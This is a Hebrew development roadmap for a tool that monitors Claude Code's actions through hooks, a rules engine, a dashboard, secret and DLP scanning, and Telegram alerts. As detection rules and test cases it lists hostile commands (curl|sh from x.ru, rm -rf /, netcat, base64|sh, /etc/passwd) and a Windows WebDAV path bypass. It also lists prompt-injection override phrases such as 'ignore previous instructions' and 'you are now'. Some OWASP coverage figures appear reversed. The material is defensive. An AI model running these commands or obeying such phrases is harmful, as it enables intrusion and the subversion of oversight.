EHZ SECURITY AI

תוכנית עבודה ושלבי פיתוח — Claude Code Security Monitor

עדכון אחרון
9 באפריל 2026

בדיקת תקינות
MS1–5: הושלמו ✅
MS6: הושלם! 15/15 — 100% ✅

התקדמות כוללת 5 הושלמו + 1 בתהליך / 12 Milestones

42% הושלם

● 5 הושלם ● 1 בתהליך ● 6 ממתין

5 Milestones שהושלמו	✅ MS6 הושלם! (15/15)	**22** חוקי אבטחה פעילים
413 קבצים בסריקה אחרונה	**6** Milestones הושלמו!	**09.04** עדכון אחרון

1	Hook + Collector + Telegram	✅	שלב א
2	Anomaly Rules + Whitelist	✅	שלב א
3	Dashboard UI	✅	שלב א
4	Hardening Levels	✅	שלב א
5	Skill Scanner	✅	שלב א
6	Secrets + DLP	▶	שלב א
7	ניטור מתקדם	⏳	שלב א
8	Installer Package	⏳	שלב א
9	Domain + Kamatera	⏳	שלב ב
10	Block Mode — חסימה + Popup אישור	⏳	שלב ג
11	SIEM + Network	⏳	שלב ד

Block Mode — MS10: שני שלבים

שלב א (Scope Alert — בוצע ב-MS6.0):
התראת HIGH בלוג בכל גישה לקובץ/תיקייה מחוץ ל-allowed_paths — כל כוננים A-Z:

שלב ב (Popup Client — תכנון):
Hook מזהה גישה מחוץ לפרויקט → פותח חלון Popup (PowerShell MessageBox)
ממתין לתשובה → approve = continue:true | deny = continue:false
דורש שינוי hook.js לתמוך ב-continue:false (חסימה אמיתית)

12	שיפורים מהמחקר — Gap Fix	⏳	UNDEFINED

שלב א — תחנה יחידה → שלב ב — Domain → שלב ג — Block Mode → שלב ד — SIEM

תוכנית עבודה מדורגת — MASTER ROADMAP

📌 כל milestone מסתיים בבדיקה — רק אחרי שהבדיקה עוברת ממשיכים למilestone הבא. בעיה = ידוע בדיוק באיזה שלב.

1 שלב 1 — תשתית בסיסית (Core)

Hook + Collector + DB + Telegram · תחנה יחידה

4/4 ✅ מרץ 2026

✅ בוצע

1.1 ✅

Agent Hook

hook.js מופעל ב-PreToolUse/PostToolUse. שולח event בסיסי ל-Collector.

hook.js

1.2

Collector + SQLite

Express port 3010. קבלת events, שמירה ב-SQLite. API בסיסי לdashboard.

SQLite collector

1.3

Telegram Alerts

התראה על כל event. בדיקה שהbot מקבל הודעות מהcollector.

telegram

1.4

Installer

install.ps1 — בדיקת Claude Code, כתיבת hooks לsettings.json, machine token.

installer

✅ **בדיקת קבלה:** הרץ Claude → בצע Bash פשוט → ראה event ב-SQLite → קבל הודעת Telegram

2 שלב 2 — חוקי Anomaly

Rules Engine + Severity + Whitelist

4/4 ✅ מרץ 2026

✅ בוצע

2.1

Signature Rules

curl|sh, rm -rf /, base64, netcat, /etc/passwd — CRITICAL/HIGH.

2.2

Context Rules

WebFetch IP/TLD, Write ל-ssh/etc, HTTP. במקום HTTPS, ngrok.

rules.js

2.3

Whitelist Engine

domains, פקודות, נתיבים מורשים — מניעת false positives.

whitelist

context

2.4

Behavioral Rules

WebFetch >20/דקה, Read/5 >50 דקות, פעילות בשעות חריגות.

behavioral

✅ **בדיקת קבלה:** הרץ `curl http://x.ru | sh` → קבל CRITICAL alert → ודא whitelist לא מתריע על git/npm

3 שלב 3 — Dashboard

ממשק ניהול Checkpoint style — Web

4/4 ✅ מרץ 2026

✅ בוצע

3.1

Security Score + Stats

5 כרטיסי סטטוס, Security Score ring, ציר זמן 24 שעות.

UI

3.2

Events Table

טבלת אירועים עם פילטרים: severity, tool, תאריך, מחשב.

events

3.3

Rules Manager

עריכת חוקים + whitelist מה-UI. הוספה/הסרה ללא נגיעה בקוד.

rules UI

3.4

Hardening Panel

בחירת Level 0-3 לכל פרויקט. הגדרת project scope.

hardening

✅ **בדיקת קבלה:** פתח dashboard → ראה events בזמן אמת → שנה חוק → ודא שינוי בא לידי ביטוי

4 שלב 4 — Hardening + Project Scope

הגבלת גישה לתיקיית פרויקט, Level 0-3, אישור ידני

4/4 ✅ אפריל 2026

✅ בוצע

4.1

Project Scope Engine

בדיקת כל Read/Write מול רשימת project_roots. חסימה לפי Level.

scope

4.2

Level 1 — SOFT

התראה + Telegram על כל חריגה מהפרויקט. ממשיך לעבוד.

level 1

4.3

Level 2 — STRICT + אישור

4.4

Level 3 — LOCKDOWN

חסימה + Telegram עם approve_ID / /deny_ID./ timeout 60 שניות.

level 2

רק תיקיית פרויקט. כל שאר → חסום אוטומטי ללא אישור.

level 3

✅ **בדיקת קבלה:** הגדר Level 2 → נסה לכתוב מחוץ לפרויקט → קבל Telegram → אשר/דחה → ודא תגובה

5 שלב — Skill Security + Pre-Install Scanner + Skills Tab

סריקת סקילים לפני הפעלה, Hash integrity, Quarantine — טאב Skills בדשבורד

✅ בוצע

07.04.2026 ✅ 6/6

5.1 Hash Registry

SHA-256 לכל סקיל. בדיקה בכל הפעלה — שינוי = CRITICAL.

hash

5.2 YARA + Semgrep + ClamAV

3 מנועים מקומיים חינמיים. רצים לפני כל הפעלת סקיל.

local scan

5.3 OpenAI Mod + Safe Browsing

APIs חינמיים — ניתוח תוכן + בדיקת URLs בסקיל.

API scan

5.4 Quarantine System

סקיל שנכשל → הסגר אוטומטי + לא פועל עד אישור ידני.

quarantine

5.5 ✅ טאב Skills בדשבורד

טאב נפרד "Skills" בדשבורד — טבלה עם כל הסקילים שהותקנו/נסרקו: שם, נתיב, תאריך התקנה, תאריך סריקה אחרון, סטטוס (✅ תקין / ⚠️ חשוד / 🔴 בהסגר). מעקב שינויי hash לאורך זמן.

skills tab dashboard

5.6 ✅ ניהול לוגים — Retention Policy

TTL 30 יום + FIFO 10,000 events (מחיקה אוטומטית כל לילה). טאב הגדרות: 3 retention info + כפתורי מחיקה (7/30/הכל). GET /retention + DELETE /events.

FIFO retention

✅ **בדיקת קבלה:** 9 | ✅ /skills/scan | ✅ /skills | ✅ registry | ✅ skill-scanner.js סקילים ✅ | | ✅ hash integrity ✅ retention

6 שלב — Secrets Scanner + DLP + File Audit

גילוי סיסמאות, API keys, כרטיסי אשראי, ת"ז — סריקת כל C:/Claude-Repo/ + דוח Excel +

▶ בתהליך

09.04.2026 — 100% ✅ 15/15

6.0 ✅ Scope Monitor

התראה HIGH על גישה מחוץ ל-allowed_paths — כיסוי מלא:

• כוננים A-Z: בכלי קבצים (Read/Write/Edit/Glob/Grep) ✅

6.1 ✅ Secrets Patterns

OpenAI/Anthropic/AWS/Google API keys, GitHub PAT, Stripe, SendGrid, JWT, Private Keys, MongoDB/PostgreSQL credentials, curl|sh, base64|sh.

בוצע: 08.04.2026

• כוננים A-Z: בפקודות Bash ✅
• UNC //server/share בכלי קבצים ✅
• UNC //server/share בפקודות Bash ✅
• UNC \servershare → CRITICAL (כלל WebDAV קיים) ✅
✅ תוקן: false positive על (lookbehind regex) http://
בדיקות: 7/7 | בוצע: 07.04.2026

6.2

✅ פרטים אישיים ישראליים

כרטיסי Visa + Amex, מספרי פלאפון ישראלי, eval(), .onion, ngrok, Non-HTTPS URL. בוצע: 08.04.2026

PII | ישראלי

6.4

✅ דוח ב-Dashboard

טאב "🗂️ File Audit" בדשבורד — 5 summary cards, טבלת ממצאים, צבעי סיכון. לחצן "סרוק עכשיו" + Export אקסל. בוצע: 08.04.2026

tab | dashboard

6.6

✅ Custom Scan Path

שדה טקסט בדשבורד לבחירת נתיב סריקה, ברירת מחדל C:/Claude-Repo. כפתור ↩ לאיפוס. הנתיב נשלח ב-POST /audit/scan. בוצע: 09.04.2026

dashboard | custom path

✅ 6.7b

✅ Incremental Scan — קבצים שהשתנו בלבד

טוגל בדשבורד: 🔍 מלאה / ⚡ שינויים בלבד | walkDir בודק mtime מול scanned_at של הסריקה הקודמת | ממזג תוצאות חדשות עם archive הקודם | meta-bar מציג "נסרקו X קבצים חדשים מאז HH:MM" | POST /audit/scan מקבל incremental:true. בוצע: 09.04.2026

merge | mtime | incremental

✅ 6.9

✅ Web Access Allowlist — שלב א

cloud API keys | secrets

6.3

✅ File Audit Scanner

סריקת C:/Claude-Repo/ — 412 קבצים, 22 patterns, ציון סיכון לפי קובץ (CRITICAL=40/HIGH=20/MEDIUM=5, max 100). agent/file-audit-scanner.js. בוצע: 08.04.2026

all files | full scan

6.5

✅ Export לאקסל

גיליון אחד מאוחד: RTL, שורת כותרת כהה, stats cards, טבלת נתונים צבעונית. ExcelJS, frozen headers, מסודר לפי ציון סיכון. בוצע: 09.04.2026

RTL | export | xlsx

6.7

✅ סריקה שבועית אוטומטית

checkWeeklyScan() פועל כל דקה, מפעיל סריקה כל יום ראשון 04:00. שומר JSON + שולח Telegram סיכום. GET /audit/schedule מחזיר next_run. בוצע: 09.04.2026

Sunday 04:00 | weekly | scheduler

✅ 6.8

✅ Real-time Write Guard

מה זה: כרגע כשנכתב קובץ (Write/Edit), ה-Hook מתעד אבל לא סורק את תוכן הקובץ המלא מיידית.
עם 6.8: כל כתיבת קובץ → סריקה מיידית של תוכן מלא → אם נמצא סיסמה / API Key / מידע רגיש → CRITICAL בדשבורד + Telegram.
דוגמה: sk-ant-api03 / password=Ehz2026!-... / מספר כרטיס אשראי → התראה מיידית לפני שהקובץ מגיע ל-Git.
הערה: ללא חסימת commit בשלב זה — רק התראה (חסימה = MS7).

write guard | realtime | secrets | ללא חסימה

✅ 6.10

✅ Domain Reputation — שלב ב

Allowlist Mode: כל WebFetch לדומיין שאינו ב-whitelist.json → HIGH בלוג | כלל חדש ב-rules.js | Endpoints ב-/domains collector: GET/POST/DELETE | טאב "🌐 Web Access" בדשבורד: רשימת דומיינים מורשים + הוספה/הסרה + היסטוריית גישות Web. בוצע: 09.04.2026

dashboard allowlist web

domain-reputation.js: scoreDomain() ציון 0-100 offline | TLD_GOOD/TLD_BAD, BLACKLIST, SUSPICIOUS_KEYWORDS, punycode | rules.js: reputation מצורף ל-GET allowlist alert | /domains/reputation/:domain ב-badge collector | ציון+label בהיסטוריית WebFetch בדשבורד (tooltip עם reasons). בוצע: 09.04.2026

offline tld reputation

✅ 6.11

✅ טאב פרויקטים — Projects Explorer

טאב 📁 בדשבורד: מציג עץ תיקיות של C:/Claude-Repo (רמה 1-2) כ-/projects GET | Cards בקולקטור | לחיצה להרחבה/כיווץ | תצוגה בלבד. בוצע: 09.04.2026

readonly explorer dashboard

✅ 6.12

✅ הערות לפרויקטים — Project Notes

עריכה ידנית של הערה לכל פרויקט/תיקייה בדשבורד: 📝 → שדה טקסט → שמירה | projects-notes.json. בוצע: 09.04.2026

json editable notes

✅ 6.13

✅ WebSearch Monitoring + Auto-Discovery

ניטור WebSearch: hook.js שולח תמיד WebSearch+WebFetch לקולקטור | rules.js מחזיר INFO עם טקסט החיפוש | Auto-Discovery: כל דומיין בתוצאות נרשם אוטומטית עם ציון מוניטין | דשבורד: badge סגול SEARCH + קטע "🔍 התגלו בחיפוש" — אשר/חסום כל דומיין. בוצע: 09.04.2026

monitoring auto-discovery websearch

✅ 6.14a

✅ דוח יומי 08:00 — Telegram

כל בוקר 08:00 נשלחת הודעת Telegram עם סיכום: CRITICAL / HIGH / MEDIUM / INFO counts + top 5 איומים של היום. checkDailyReport() פועל כל דקה בקולקטור. בוצע: 09.04.2026

report daily telegram

✅ 6.14b

✅ חיפוש/פילטר בדשבורד

שורת חיפוש חופשי + dropdown סינון כלי (WebSearch/WebFetch/Write/Bash...) מעל טאב Events. סינון client-side על allEvents_. מציג מספר תוצאות. בוצע: 09.04.2026

dashboard filter search

✅ 6.14c

✅ דוח אבטחה — Export HTML

כפתור "📄 ייצא HTML" בסרגל Events → מוריד קובץ HTML עצמאי עם כל האירועים, עיצוב כהה, RTL, מוכן לשליחה ללקוח. client-side generation עם Blob download. בוצע: 09.04.2026

report html export

✅ **MS6 הושלם במלואו — 09.04.2026** 15/15 משימות | Write Guard + Allowlist + Reputation + Auto-Discovery + SIEM Dashboard בסיסי

7 שלב 7 — ניטור מתקדם

FS Watcher, Session Recording, Process Monitor, Git Monitor, Env Vars, Immutable Log

עתידי

0/6 ⏳ ממתין

7.1

File System Watcher

7.2

Session Recording

ניטור FS ברמת OS — כל שינוי קובץ, גם אם Claude לא "דיווח".

FSW

7.3

Process Tree Monitor

עקוב אחרי child processes של Claude. kill תהליכים חשודים.

process

7.4

Git + Env + Clipboard

ניטור commits, גישה ל-.env/API keys, כתיבה לclipboard.

env git

7.5

Immutable Audit Log

hash chain לוג — כל entry חתום. לא ניתן לשנות רטרואקטיבית.

immutable

7.6

Behavioral Baseline

למידת "רגיל" עבורך. חריגה מ baseline → alert אוטומטי.

baseline

תיעוד כל tools → session: prompt → תשובות. ניתן לשחזר אחר כך.

recording

✅ **בדיקת קבלה:** שנה קובץ ישירות (לא דרך Claude) → FS Watcher מזהה → Session playback עובד

8 שלב 8 — חבילת התקנה (Standalone Installer)

MSI / ZIP / CLI installer — פריסה על מחשב בודד בלחיצה אחת

סיום שלב א

8.1

Build Script

npm run build — אורז את כל הרכיבים לתיקייה אחת: agent + collector + dashboard + rules.

npm build

8.2

ccsm-setup.exe / MSI

חבילת Windows — מתקין Node.js אם חסר, מוריד dependencies, מגדיר hooks, יוצר shortcuts.

Windows MSI

8.3

install.ps1 — Silent

סקריפט PowerShell לפריסה שקטה ללא GUI. מתאים ל-GPO / RMM. פרמטר -CollectorURL לשרת מרכזי.

silent PowerShell

8.4

Config Wizard

אשף הגדרות ראשוני: Telegram token, project folder, hardening level, API keys.

UI wizard

8.5

Auto-Update

בדיקת גרסה חדשה בהפעלה. עדכון rules אוטומטי. לא משנה hooks ללא אישור.

update

8.6

Uninstaller

הסרה נקייה: מוחק hooks מsettings.json, עצירת שירותים, אופציה לשמירת logs.

uninstall

8.7

System Tray Icon 🛡

8.8

DISABLE / ENABLE Agent ⏸

אייקון בשורת המשימות — סטטוס צבעוני, לחיצה ימנית לתפריט מהיר. בנוי עם node-systray.

systray GUI

כיבוי מיידי. 4 שיטות: System Tray, Dashboard toggle, Telegram, קובץ .ccsm-disable.

disable emergency

תוכן החבילה

- **/ccsm-agent** — hook.js, rules.js, whitelist.json
- **/ccsm-collector** — /server.js, schema.sql, alerts
- **/ccsm-dashboard** — index.html, app.js, styles.css
- **/ccsm-scanner** — yara-rules/, secrets-patterns.json
- **/install** — setup.exe, install.ps1, wizard.html
- **/config** — project-scope.json, skills-registry.json

זרימת התקנה — משתמש קצה

1. הורד ccsm-setup.exe
2. הרץ כ-Admin
3. Wizard: Telegram + תיקייה + Level
4. Hooks נכתבים לClaude
5. ✅ Dashboard פתוח — מוכן!

✅ **בדיקת קבלה:** הרץ setup.exe על מחשב נקי → השלם wizard → פתח Claude → ודא event מגיע ל-dashboard

🛡 SYSTEM TRAY — ממשק מהיר

תפריט לחיצה ימנית — עיצוב

EHZ-SEC-AI
Agent · PC-ERAN-01 פעיל

247	7	2
Total	High	Critical

- פתח Dashboard
- אירועים אחרונים
- Silent Mode
- Disable Agent
- הגדרות
- יציאה

מצבי האייקון — צבע לפי סטטוס

- **ACTIVE — כחול/ירוק** — הכל תקין, Agent פעיל
- **ALERT — אדום פועם** — יש CRITICAL/HIGH שלא טופל
- **DISABLED — צהוב** — Agent כבוי ידנית
- **SILENT — אפור** — פעיל, ללא התראות

טכנולוגיה — NODE-SYSTRAY

חבילה	node-systray
Windows	✅ תמיכה מלאה
Linux	✅ AppIndicator

פעולות מהירות מה-TRAY

- לחיצה כפולה → פתח Dashboard
- לחיצה שמאל → popup סטטוס מהיר
- לחיצה ימין → תפריט מלא
- אייקון פועם → יש CRITICAL לא טופל

התקנה	npm i node-systray
Startup	רץ עם Windows (Task Scheduler)
RAM	~15 MB בלבד

"CCSM | 247 events | 2 CRITICAL" → Tooltip

CRITICAL על Windows toast → Notification

WINDOWS TOAST NOTIFICATION — על CRITICAL

Trigger	בלבד CRITICAL / HIGH
חבילה	node-notifier
כפתור "פרטים"	פותח Dashboard ישירות לevent
Snooze	השתק 30 דקות

EHZ-SEC-AI עכשיו

🚨 CRITICAL ALERT

Tool: Bash

Rule: curl_pipe_sh

```
curl http://x.ru | sh
```

פרטים | סגור

💡 System Tray רץ כתהליך נפרד מהCollector — גם אם Dashboard סגור, האייקון תמיד נגיש. לחיצה כפולה = Dashboard נפתח בדפדפן הברירת מחדל.

⏸ כיבוי חירום — DISABLE / ENABLE AGENT

מתי משתמשים בזה?

🔴 **Agent גורם לאיטיות**
כיבוי מיידי ללא הסרה

🔴 **False Positives רבים**
כיבוי זמני לכוונון חוקים

🔴 **בדיקות פיתוח**
השתקה זמנית בזמן debug

🔴 **עדכון Agent**
כיבוי לפני עדכון גרסה

שיטה 1 — Dashboard Toggle

לחצן ON/OFF בולט ב-topbar. מיידי — Hook מפסיק לרוץ תוך שניה. לוג מתועד: "Agent disabled by eran @ 14:32".

```
POST /api/agent/disable
{ "reason": "manual", "user": "eran" }
→ hook.js מחזיר continue:true
ללא בדיקות, ללא שליחה
```

שיטה 2 — Telegram Command

שלח הודעה לבוט — עובד גם אם Dashboard לא נגיש. מאפשר כיבוי מרחוק מהטלפון.

```
/Agent → ccsm disable כבוי ✅
/Agent → ccsm enable פעיל ✅
/ccsm status → סטטוס נוכחי
/ccsm disable 30m → כיבוי ל-30 דקות
```

שיטה 3 — קובץ .ccsm-disable

יצירת קובץ בתיקיית הבית — hook בודק בכל הפעלה.
עובד גם אם Collector לא רץ.

```
# כיבוי:
touch ~/.ccsm/.disabled

# הפעלה מחדש:
rm ~/.ccsm/.disabled
```

זרימת כיבוי — מה קורה כשAGENT כבוי

```
Agent מקבל פקודת DISABLE
                    ↓
שומר { state: { disabled: true, by: "eran", at: "14:32", reason: "manual" }
                    ↓
hook.js בודק state בכל tool call:
  if (disabled) return { continue: true } // לא בודק, לא שולח
                    ↓
CCSM Agent ⏸ Telegram: "כובה על PC-ERAN-01 ע"י ערן"
                    ↓
Dashboard: topbar מציג [⏸ DISABLED] באדום
                    ↓
לוג מקומי נמשך (קבצים בלבד, ללא שליחה לCollector)
                    ↓
Claude עובד רגיל — ללא עיכוב, ללא בדיקות
```

מצבי AGENT

מצב	תיאור	Hook רץ	שולח Events	לוג מקומי
● ACTIVE	פעיל מלא	✅	✅	✅
⏸ DISABLED	כבוי ידנית	❌	❌	⚠️ מינימלי
🔕 SILENT	רץ אבל לא מתריע	✅	✅	❌ אין Telegram
🔴 ERROR	Collector לא נגיש	✅	❌ מצבר מקומי	✅

💡 מצב SILENT — שימושי בזמן פיתוח: Agent רץ ומתעד הכל, אבל לא שולח Telegram. מופעל ב: `ccsm silent/`

9 שלב 9 — Domain + Kamatera

PostgreSQL, AD Auth, RBAC, GPO, Multi-machine Dashboard

שלב ב

8.1 הקמת Kamatera Lab

DC01 + CCSM-SRV + WS01. Private LAN. Ubuntu + Windows Server.

Kamatera

8.2 PostgreSQL Migration

מעבר מSQLite לPostgres. שמירת היסטוריה, indices, archiving.

PostgreSQL

8.3 AD Auth + RBAC

LDAP לAD. Admin/Analyst/ReadOnly. קבוצות CCSM-Admins/Analysts.

RBAC AD

8.4 GPO Deploy

בדיקת Claude Code → התקנת hooks Agent אוטומטי לכל תחנה.

GPO

✅ **בדיקת קבלה:** התחבר לDashboard עם משתמש AD → ראה events מ-WS01 → ודא RBAC חוסם Analyst מניהול חוקים

10 שלב 10 — Block Mode — חסימה + Popup אישור (Phase 2)

מעבר מניטור לחסימה אקטיבית — exit(1) עצור Claude

שלב ג

9.1 Block Engine

hook מחזיר exit(1) על CRITICAL rules. Claude נעצר לפני הפעולה.

block

9.2 Whitelist Override

ניהול חריגים לBlock Mode. Admin יכול לאשר override ספציפי.

override

✅ **בדיקת קבלה:** הפעל Block Mode → הרץ curl|sh → Claude נעצר → ודא event CRITICAL + Claude לא ביצע

11 שלב 11 — SIEM + Network Monitor

אינטגרציה עם Splunk/Sentinel, ניטור traffic, Network DLP

שלב ד

10.1 Syslog Connector

שליחת events בפורמט RFC 5424 לכל SIEM. UDP/TCP.

Syslog

10.2 Sentinel / Splunk

KQL queries לSentinel. Splunk dashboard templates מוכנים.

SIEM

10.3 Network Monitor

ניתוח traffic של Claude — לאיזה IP, כמה bytes, data exfiltration.

10.4 Prompt Injection — API

ניתוח תשובות API חיצוניות — האם מכילות הוראות זדוניות לClaude.

network injection

✅ **בדיקת קבלה:** ראה events ב-Sentinel → ודא Syslog מגיע → Network monitor מזהה WebFetch

12 שלב 12 — שיפורים מהמחקר (Gap Fix)

תיקונים וכיסויים שעלו מ-Gap Analysis — מ-82% ל-95%+ כיסוי OWASP

📊 מחקר

כל הפריטים בשלב זה עלו מ-**Gap Analysis** שבוצע מול מחקר OWASP LLM Top 10 + תיעוד Anthropic. מחולק ל-3 קטגוריות: קריטי / גבוה / שיפור.

🔴 12.1

WebDAV Block Rule

Anthropic מזהירים: paths שמתחילים ב-`\\` ב-Windows עוקפים את Permission System דרך WebDAV. הוסף ל-Signature Rules חוק ייעודי:

```
if (path.startsWith('\\\\')) → CRITICAL: WebDAV bypass
```

כיסוי: OWASP LLM01 + Windows-specific.

Milestone 2.1 | Windows | rules.js

🔴 12.2

ConfigChange Hook

ללא זה — מישהו יכול לערוך `settings.json` ולכבות את EHZ-SEC-AI בשקט. הוסף Hook מסוג `ConfigChange` (Anthropic מספקים זאת רשמית) שמשלח התראה מיידית:

```
ConfigChange" → Telegram": ⚠️ הגדרות Claude שונו!
```

Milestone 1.5 | ConfigChange | hook.js

🔴 12.3

Prompt Injection Content Scanner

OWASP LLM01 — כרגע Context Rules בודקים רק פקודות. צריך גם לבדוק תוכן שClaude מקבל. PostToolUse scanner על WebFetch/Read יחפש:

```
ignore previous instructions", "you are now","
""jailbreak", "DAN
```

Milestone 2.5 | LLM01 | PostToolUse

🔴 12.4

MCP-Specific Hook Matchers

Anthropic מדגישים MCP כסיכון נפרד (LLM07). כרגע יש Hook כללי בלבד. הוסף matchers ספציפיים:

```
mcp__*__write* → HIGH mcp__*__delete* → CRITICAL
mcp__*__exec* → CRITICAL
```

Milestone 2.6 | LLM07 | MCP

🔴 12.5

Semgrep on Write — LLM02 Fix

OWASP LLM02 (Insecure Output) — Write Guard קיים לסיסמאות, אבל לא לvulnerabilities. הוסף PostToolUse על Write/Edit שמריץ Semgrep ובודק שהקוד שנכתב לא מכניס: XSS, SQL Injection, Command Injection, Path Traversal.

Milestone 6.5 | LLM02 | Semgrep

🟡 12.6

OpenTelemetry Export — Enterprise

ארגונים עם Prometheus/Grafana/Datadog לא יכולים לשלב EHZ-SEC-AI ללא OTel. הוסף ל-Collector export של events בפורמט OTel סטנדרטי — כך EHZ-SEC-AI מדבר עם תשתית ניטור קיימת ולא מחליף אותה. רלוונטי לשלב ב' (Domain).

+Milestone 9 | Enterprise | OTel

🟡 12.7

Session Replay Enhancement — LLM09

OWASP LLM09 (Overreliance) — Session Recording קיים (Milestone 7.2) אבל לא כולל ניתוח אוטומטי. הוסף: ציון "אמינות תשובה" לכל session, דגל אוטומטי על תשובות שמבוססות על מידע חיצוני לא מאומת.

Session | LLM09 | +Milestone 7

השפעה על כיסוי OWASP לאחר יישום

LLM01 Prompt Inj. 90% → 60%	LLM02 Output 85% → 55%	LLM07 Plugin/MCP 95% → 70%
כיסוי כולל +95% → 82%		

✅ **בדיקת קבלה:** נסה לכתוב לpath עם \\ → CRITICAL WebDAV alert → ערוך settings.json → קבל Telegram
→ ConfigChange → שלח "ignore previous instructions" בWebFetch → זוהה כInjection

ציר זמן — 12 MILESTONES

1	2	3	4	5	6	7	8	9	10	11
Hook Collector Telegram	Anomaly Rules	Dashboard UI	Hardening Levels	Skill Scanner	Secrets DLP	Advanced Monitor	Installer Package	Domain Kamatera	Block Mode	SIEM Network

שלב א — Core (1-3) ■ שלב א — Security (4-6) ■ שלב א — Monitor (7) ■ Installer Package (8) ■

שלב ב — Domain (9) ■ שלב ג/ד — Block+SIEM (10-11) ■ Gap Fix — שיפורים מחקר (12) ■

דרישות חומרה — שלב א' (תחנה יחידה)

מינימום — COLLECTOR + DASHBOARD

CPU	2 Cores (כלשהו)
RAM	4 GB
דיסק	10 GB פנויים
OS	Windows 10/11
Node.js	18+

מומלץ — ביצועים טובים

CPU	4 Cores+
RAM	8 GB+
דיסק	SSD — 20 GB
OS	Windows 11
Node.js	20 LTS

עומסים צפויים (בודד)

Events/שעה	~200–500
גדילה DB	~5 MB ליום
RAM Collector	~50 MB
RAM Dashboard	~30 MB

CPU Hook	<5ms לאירוע

✅ המחשב הנוכחי עומד בכל הדרישות — Collector + Dashboard + Agent רצים על אותה תחנה. אין צורך בשרת נפרד בשלב א'.

דרישות חומרה ותוכנה — שלב ב' (DOMAIN ENTERPRISE)

שרת CCSM-SERVER — מינימום

CPU	Cores 4
RAM	GB 8
דיסק	SSD 50 GB
רשת	Gbps LAN 1
OS	Windows Server 2019 / Ubuntu 22.04

שרת CCSM-SERVER — מומלץ

CPU	+Cores 8
RAM	+GB 16
דיסק	SSD 200 GB (RAID-1)
רשת	Gbps + Static IP 1
OS	Windows Server 2022 / Ubuntu 24.04

עומסים צפויים (DOMAIN)

תחנות מנוטרות	עד 500
Events/שעה	~50,000
גדילה DB	~500 MB ליום
שמירת היסטוריה	90 יום (ברירת מחדל)
חיבורים במקביל	עד 500 agents

תחנות קצה (מנוטרות)

OS	Windows 10/11
Node.js	+18 (לAgent)
Claude Code	חייב להיות מותקן
RAM נוסף לAgent	~20 MB בלבד
גישת רשת לשרת	port 3010 פנימי

דרישות תוכנה — שלב ב'

שרת — תוכנות חובה

Node.js	LTS 20
PostgreSQL	+15
nginx	Reverse proxy + SSL
PM2	Process manager
OpenSSL	ליצירת תעודות mTLS

ACTIVE DIRECTORY — דרישות

Domain Functional Level	+2016
LDAP	port 389 / LDAPS 636
קבוצות AD	CCSM-Admins, CCSM-Analysts
Service Account	ccsm-svc (read-only LDAP)
GPO Rights	הרשאת Create/Link GPO

רשת — פורטים נדרשים

אופציונלי — SIEM

UDP/TCP 514	Syslog
REST API + Workspace ID	Microsoft Sentinel
HTTP Event Collector token	Splunk HEC
Syslog + DSM	QRadar
Filebeat / REST	Elastic SIEM

Collector API (פנימי)	3010
Dashboard Web UI	3011
HTTPS (nginx)	443
PostgreSQL (לשרת בלבד)	5432
LDAP / LDAPS לAD	636 / 389

⚠️ שלב ב' דורש שרת ייעודי עם גישה ל-Active Directory. מומלץ VM על Hyper-V / VMware קיים בתשתית. PostgreSQL חייב לרוץ על אותו שרת או Sub-net פנימי בלבד — לא חשוף לאינטרנט.

שלבי פיתוח

א — שלב א — תחנה יחידה (Standalone)

Collector + Agent hooks + מקומי Dashboard בסיסי — הכל על מחשב אחד

▶ פעיל כעת

A-01

Agent Hook ✅

סקריפט hook.js שרץ ב-PostToolUse / PreToolUse. בדיקת חוקים מקומית, שליחה async ל-Collector. Hardening level aware.

hooks | Node.js

A-02

Anomaly Rules Engine ✅

19 חוקים — curl|sh, rm -rf /, sensitive files, IP URLs, base64, netcat, WebDAV. ✅ CRITICAL/HIGH/MEDIUM/INFO. 19/19 tests

regex | rules.js

A-03

Collector — NeDB ✅

Express port 3010. קבלת events, שמירה ב-NeDB (pure JS). בדיקת /events /stats /config, Telegram alerts. תקינות: 12/12 ✅

NeDB | Express

A-04

Dashboard — Web UI ✅

Events table, פילטרים, stats cards, auto-refresh 5s, טאב Settings עם Hardening Level selector (0-3).

vanilla JS | HTML

A-05

Telegram Alerts ✅

התראה מיידית על CRITICAL/HIGH. כולל tool, rule, session, timestamp. Hardening level 0 = כבוי.

Bot API

A-06

Hardening Levels + Installer ✅

4 רמות (OFF/SOFT/STRICT/LOCKDOWN). setup.ps1 מתקין hooks ב-settings.json. Git dual remote — GitHub + Oracle.

PowerShell | CLI

ב — שלב ב — Domain מיקרוסופט (Enterprise)

פריסה ב-RBAC, AD Auth, PostgreSQL, GPO, שרת מרכזי

⏳ הבא

B-01

GPO Deploy Script

PowerShell: בדיקת Claude Code, התקנה, רישום hooks. רץ כ-Startup Script בכל תחנה.

PowerShell GPO

B-02

PostgreSQL + Migration

מעבר מ-SQLite לPostgres. תמיכה בעשרות מחשבים במקביל, indices, archiving.

PostgreSQL

B-03

AD Authentication

כניסה לDashboard עם LDAP bind. Active Directory, קריאת קבוצות, מיפוי לRole.

AD LDAP

B-04

RBAC — הרשאות

Admin / Analyst / ReadOnly. כל דף ו-API מוגן לפי role. ניהול משתמשים מהDashboard.

JWT RBAC

B-05

Multi-Machine View

מפת תחנות: כמה active, כמה alerts בכל תחנה, last seen, agent version.

Dashboard

B-06

mTLS — תקשורת מאובטחת

Agent ↔ Collector עם אישורים הדדיים. מניעת שליחת events מתחנות לא מורשות.

PKI TLS

ג שלב ג — Block Mode (חסימה אקטיבית)

Agent עובר ממצב ניטור למצב חסימה — exit(1) עצור את Claude

עתידי

C-01

Block Engine

hook מחזיר exit(1) לClaude Code לפי חוק — Claude נעצר לפני הפעולה. חוקי CRITICAL בלבד.

hooks block

C-02

Whitelist / Exceptions

ניהול חריגים: URLs מורשות, פקודות מאושרות, משתמשים בעלי הרשאת override.

Policy

C-03

Block Dashboard

ממשק לניהול מדיניות חסימה. מה חסום? מה מאושר? מי יכול לאשר override?

Policy UI

ד שלב ד — SIEM Integration

שליחת events לכלי SIEM חיצוניים — Splunk, Microsoft Sentinel, QRadar

עתידי

D-01

Syslog Connector

D-02

REST API Export

שליחת events בפורמט UDP/TCP. RFC 5424. מיפוי severity לPriority. תואם כל SIEM.

Syslog

Webhook/pull API. JSON פורמט. פילטר לפי severity, מחשב, תאריך. API key auth.

JSON REST

D-03

Sentinel / Splunk Templates

KQL queries מוכנות לSplunk. Microsoft Sentinel dashboards templates. ייבוא מיידי.

SPL KQL

סביבת בדיקות — DOMAIN LAB

✅ מומלץ — Hyper-V מקומי

אפשרות ב — Cloud Lab

אפשרות ג — ללא DC (מהיר)

דרישות מינימום — HYPER-V על המחשב הנוכחי

